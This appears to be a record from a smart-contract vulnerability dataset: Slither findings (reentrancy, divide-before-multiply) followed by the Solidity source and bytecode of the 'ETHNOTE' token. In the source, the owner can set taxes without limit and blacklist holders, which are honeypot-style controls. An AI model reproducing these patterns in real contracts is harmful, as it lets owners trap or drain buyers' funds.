b606482015260840161058a565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ab35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161058a565b6001600160a01b038216610b155760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161058a565b60008111610b775760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161058a565b6000546001600160a01b03848116911614801590610ba357506000546001600160a01b03838116911614155b15610db757601554600160a01b900460ff16610c0b57601654811115610c0b5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161058a565b6001600160a01b03831660009081526010602052604090205460ff16158015610c4d57506001600160a01b03821660009081526010602052604090205460ff16155b610ca55760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161058a565b6015546001600160a01b03838116911614610d2a5760175481610cc78461073f565b610cd19190611957565b10610d2a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161058a565b6000610d353061073f565b601854601654919250821015908210610d4e5760165491505b808015610d655750601554600160a81b900460ff16155b8015610d7f57506015546001600160a01b03868116911614155b8015610d945750601554600160b01b900460ff165b15610db457610da282611017565b478015610db257610db247610efe565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610df957506001600160a01b03831660009081526005602052604090205460ff165b80610e2b57506015546001600160a01b03858116911614801590610e2b57506015546001600160a01b03848116911614155b15610e3857506000610eb2565b6015546001600160a01b038581169116148015610e6357506014546001600160a01b03848116911614155b15610e7557600854600c55600954600d555b6015546001600160a01b038481169116148015610ea057506014546001600160a01b03858116911614155b15610eb257600a54600c55600b54600d555b610ebe848484846111a0565b50505050565b60008184841115610ee85760405162461bcd60e51b815260040161058a9190611756565b506000610ef5848661196f565b95945050505050565b6012546001600160a01b03166108fc610f236008610f1d8560096111ce565b90611210565b6040518115909202916000818181858888f19350505050158015610f4b573d6000803e3d6000fd5b506013546001600160a01b03166108fc610f6b6001610f1d8560096111ce565b6040518115909202916000818181858888f193505050501580156105fb573d6000803e3d6000fd5b6000600654821115610ffa5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161058a565b600061100461128f565b905061101083826111ce565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061105f5761105f611910565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156110b357600080fd5b505afa1580156110c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110eb9190611986565b816001815181106110fe576110fe611910565b6001600160a01b039283166020918202929092010152601454611124913091168461092b565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061115d9085906000908690309042906004016119a3565b600060405180830381600087803b15801561117757600080fd5b505af115801561118b573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806111ad576111ad6112b2565b6111b88484846112e0565b80610ebe57610ebe600e54600c55600f54600d55565b600061101083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113d7565b60008261121f57506000610610565b600061122b8385611a14565b9050826112388583611a33565b146110105760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161058a565b600080600061129c611405565b90925090506112ab82826111ce565b9250505090565b600c541580156112c25750600d54155b156112c957565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806112f287611445565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061132490876114a2565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461135390866114e4565b6001600160a01b03891660009081526002602052604090205561137581611543565b61137f848361158d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113c491815260200190565b60405180910390a3505050505050505050565b600081836113f85760405162461bcd60e51b815260040161058a9190611756565b506000610ef58486611a33565b6006546000908190678ac7230489e8000061142082826111ce565b82101561143c57505060065492678ac7230489e8000092509050565b90939092509050565b60008060008060008060008060006114628a600c54600d546115b1565b925092509250600061147261128f565b905060008060006114858e878787611606565b919e509c509a509598509396509194505050505091939550919395565b600061101083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ec4565b6000806114f18385611957565b9050838110156110105760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161058a565b600061154d61128f565b9050600061155b8383611210565b3060009081526002602052604090205490915061157890826114e4565b30600090815260026020526040902055505050565b60065461159a90836114a2565b6006556007546115aa90826114e4565b6007555050565b60008080806115cb60646115c58989611210565b906111ce565b905060006115de60646115c58a89611210565b905060006115f6826115f08b866114a2565b906114a2565b9992985090965090945050505050565b60008080806116158886611210565b905060006116238887611210565b905060006116318888611210565b90506000611643826115f086866114a2565b939b939a50919850919650505050505050565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461073c57600080fd5b803561168c8161166c565b919050565b600060208083850312156116a457600080fd5b823567ffffffffffffffff808211156116bc57600080fd5b818501915085601f8301126116d057600080fd5b8135818111156116e2576116e2611656565b8060051b604051601f19603f8301168101818110858211171561170757611707611656565b60405291825284820192508381018501918883111561172557600080fd5b938501935b8285101561174a5761173b85611681565b8452938501939285019261172a565b98975050505050505050565b600060208083528351808285015260005b8181101561178357858101830151858201604001528201611767565b81811115611795576000604083870101525b50601f01601f1916929092016040019392505050565b600080604083850312156117be57600080fd5b82356117c98161166c565b946020939093013593505050565b6000806000606084860312156117ec57600080fd5b83356117f78161166c565b925060208401356118078161166c565b929592945050506040919091013590565b60006020828403121561182a57600080fd5b81356110108161166c565b60006020828403121561184757600080fd5b8135801515811461101057600080fd5b60006020828403121561186957600080fd5b5035919050565b6000806000806080858703121561188657600080fd5b5050823594602084013594506040840135936060013592509050565b600080604083850312156118b557600080fd5b82356118c08161166c565b915060208301356118d08161166c565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060001982141561195057611950611926565b5060010190565b6000821982111561196a5761196a611926565b500190565b60008282101561198157611981611926565b500390565b60006020828403121561199857600080fd5b81516110108161166c565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119f35784516001600160a01b0316835293830193918301916001016119ce565b50506001600160a01b03969096166060850152505050608001529392505050565b6000816000190483118215151615611a2e57611a2e611926565b500290565b600082611a5057634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122028d0347f88b261b43f2fe6dcaa471221a9a6a9804370ad56213fd70f88e1f10164736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 4,066 |
0x8454816b2183ab229797d81784d742d21ca61280
|
/*
🍎Telegram: http://t.me/EthNote2
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ETHNOTE is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 666_666_666 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "Eth Note2";
string private constant _symbol = "ETHNOTE2";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0xC2E54d863f8D0af8Acd7B9e6Cd69f6ff460d4F35);
_buyTax = 9;
_sellTax = 9;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setremoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 20_000_000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 20_000_000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
_sellTax = sellTax;
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
_buyTax = buyTax;
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610349578063c3c8cd8014610369578063c9567bf91461037e578063dbe8272c14610393578063dc1052e2146103b3578063dd62ed3e146103d357600080fd5b8063715018a6146102a65780638da5cb5b146102bb57806395d89b41146102e35780639e78fb4f14610314578063a9059cbb1461032957600080fd5b806323b872dd116100f257806323b872dd14610215578063273123b714610235578063313ce567146102555780636fc3eaec1461027157806370a082311461028657600080fd5b8063013206211461013a57806306fdde031461015c578063095ea7b3146101a057806318160ddd146101d05780631bbae6e0146101f557600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a610155366004611655565b610419565b005b34801561016857600080fd5b5060408051808201909152600981526822ba34102737ba329960b91b60208201525b6040516101979190611672565b60405180910390f35b3480156101ac57600080fd5b506101c06101bb3660046116ec565b61046a565b6040519015158152602001610197565b3480156101dc57600080fd5b5067094079ccf28624005b604051908152602001610197565b34801561020157600080fd5b5061015a610210366004611718565b610481565b34801561022157600080fd5b506101c0610230366004611731565b6104c3565b34801561024157600080fd5b5061015a610250366004611772565b61052c565b34801561026157600080fd5b5060405160098152602001610197565b34801561027d57600080fd5b5061015a610577565b34801561029257600080fd5b506101e76102a1366004611772565b6105ab565b3480156102b257600080fd5b5061015a6105cd565b3480156102c757600080fd5b506000546040516001600160a01b039091168152602001610197565b3480156102ef57600080fd5b5060408051808201909152600881526722aa242727aa229960c11b602082015261018a565b34801561032057600080fd5b5061015a610641565b34801561033557600080fd5b506101c06103443660046116ec565b610853565b34801561035557600080fd5b5061015a6103643660046117a5565b610860565b34801561037557600080fd5b5061015a6108f6565b34801561038a57600080fd5b5061015a610936565b34801561039f57600080fd5b5061015a6103ae366004611718565b610ade565b3480156103bf57600080fd5b5061015a6103ce366004611718565b610b0d565b3480156103df57600080fd5b506101e76103ee36600461186a565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b0316331461044c5760405162461bcd60e51b8152600401610443906118a3565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000610477338484610b3c565b5060015b92915050565b6000546001600160a01b031633146104ab5760405162461bcd60e51b8152600401610443906118a3565b66470de4df8200008111156104c05760108190555b50565b60006104d0848484610c60565b610522843361051d85604051806060016040528060288152602001611a69602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f70565b610b3c565b5060019392505050565b6000546001600160a01b031633146105565760405162461bcd60e51b8152600401610443906118a3565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105a15760405162461bcd60e51b8152600401610443906118a3565b476104c081610faa565b6001600160a01b03811660009081526002602052604081205461047b90610fe4565b6000546001600160a01b031633146105f75760405162461bcd60e51b8152600401610443906118a3565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461066b5760405162461bcd60e51b8152600401610443906118a3565b600f54600160a01b900460ff16156106c55760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610443565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa15801561072a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061074e91906118d8565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561079b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107bf91906118d8565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561080c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083091906118d8565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610477338484610c60565b6000546001600160a01b0316331461088a5760405162461bcd60e51b8152600401610443906118a3565b60005b81518110156108f2576001600660008484815181106108ae576108ae6118f5565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108ea81611921565b91505061088d565b5050565b6000546001600160a01b031633146109205760405162461bcd60e51b8152600401610443906118a3565b600061092b306105ab565b90506104c081611068565b6000546001600160a01b031633146109605760405162461bcd60e51b8152600401610443906118a3565b600e546109809030906001600160a01b031667094079ccf2862400610b3c565b600e546001600160a01b031663f305d719473061099c816105ab565b6000806109b16000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a19573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a3e919061193c565b5050600f805466470de4df82000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610aba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104c0919061196a565b6000546001600160a01b03163314610b085760405162461bcd60e51b8152600401610443906118a3565b600b55565b6000546001600160a01b03163314610b375760405162461bcd60e51b8152600401610443906118a3565b600c55565b6001600160a01b038316610b9e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610443565b6001600160a01b038216610bff5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610443565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cc45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610443565b6001600160a01b038216610d265760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610443565b60008111610d885760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610443565b6001600160a01b03831660009081526006602052604090205460ff1615610dae57600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610df057506001600160a01b03821660009081526005602052604090205460ff16155b15610f60576000600955600c54600a55600f546001600160a01b038481169116148015610e2b5750600e546001600160a01b03838116911614155b8015610e5057506001600160a01b03821660009081526005602052604090205460ff16155b8015610e655750600f54600160b81b900460ff165b15610e92576000610e75836105ab565b601054909150610e8583836111e2565b1115610e9057600080fd5b505b600f546001600160a01b038381169116148015610ebd5750600e546001600160a01b03848116911614155b8015610ee257506001600160a01b03831660009081526005602052604090205460ff16155b15610ef3576000600955600b54600a555b6000610efe306105ab565b600f54909150600160a81b900460ff16158015610f295750600f546001600160a01b03858116911614155b8015610f3e5750600f54600160b01b900460ff165b15610f5e57610f4c81611068565b478015610f5c57610f5c47610faa565b505b505b610f6b838383611241565b505050565b60008184841115610f945760405162461bcd60e51b81526004016104439190611672565b506000610fa18486611987565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108f2573d6000803e3d6000fd5b600060075482111561104b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610443565b600061105561124c565b9050611061838261126f565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110b0576110b06118f5565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611109573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061112d91906118d8565b81600181518110611140576111406118f5565b6001600160a01b039283166020918202929092010152600e546111669130911684610b3c565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061119f90859060009086903090429060040161199e565b600060405180830381600087803b1580156111b957600080fd5b505af11580156111cd573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000806111ef8385611a0f565b9050838110156110615760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610443565b610f6b8383836112b1565b60008060006112596113a8565b9092509050611268828261126f565b9250505090565b600061106183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113e8565b6000806000806000806112c387611416565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112f59087611473565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461132490866111e2565b6001600160a01b038916600090815260026020526040902055611346816114b5565b61135084836114ff565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161139591815260200190565b60405180910390a3505050505050505050565b600754600090819067094079ccf28624006113c3828261126f565b8210156113df5750506007549267094079ccf286240092509050565b90939092509050565b600081836114095760405162461bcd60e51b81526004016104439190611672565b506000610fa18486611a27565b60008060008060008060008060006114338a600954600a54611523565b925092509250600061144361124c565b905060008060006114568e878787611578565b919e509c509a509598509396509194505050505091939550919395565b600061106183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f70565b60006114bf61124c565b905060006114cd83836115c8565b306000908152600260205260409020549091506114ea90826111e2565b30600090815260026020526040902055505050565b60075461150c9083611473565b60075560085461151c90826111e2565b6008555050565b600080808061153d606461153789896115c8565b9061126f565b9050600061155060646115378a896115c8565b90506000611568826115628b86611473565b90611473565b9992985090965090945050505050565b600080808061158788866115c8565b9050600061159588876115c8565b905060006115a388886115c8565b905060006115b5826115628686611473565b939b939a50919850919650505050505050565b6000826115d75750600061047b565b60006115e38385611a49565b9050826115f08583611a27565b146110615760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610443565b80151581146104c057600080fd5b60006020828403121561166757600080fd5b813561106181611647565b600060208083528351808285015260005b8181101561169f57858101830151858201604001528201611683565b818111156116b1576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104c057600080fd5b80356116e7816116c7565b919050565b600080604083850312156116ff57600080fd5b823561170a816116c7565b946020939093013593505050565b60006020828403121561172a57600080fd5b5035919050565b60008060006060848603121561174657600080fd5b8335611751816116c7565b92506020840135611761816116c7565b929592945050506040919091013590565b60006020828403121561178457600080fd5b8135611061816116c7565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156117b857600080fd5b823567ffffffffffffffff808211156117d057600080fd5b818501915085601f8301126117e457600080fd5b8135818111156117f6576117f661178f565b8060051b604051601f19603f8301168101818110858211171561181b5761181b61178f565b60405291825284820192508381018501918883111561183957600080fd5b938501935b8285101561185e5761184f856116dc565b8452938501939285019261183e565b98975050505050505050565b6000806040838503121561187d57600080fd5b8235611888816116c7565b91506020830135611898816116c7565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156118ea57600080fd5b8151611061816116c7565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156119355761193561190b565b5060010190565b60008060006060848603121561195157600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561197c57600080fd5b815161106181611647565b6000828210156119995761199961190b565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119ee5784516001600160a01b0316835293830193918301916001016119c9565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a2257611a2261190b565b500190565b600082611a4457634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a6357611a6361190b565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a6687006a611ac99b61f44e3c84d03af88abcc9f0c17e8cf25a5d03aba0a1f8e64736f6c634300080c0033
|
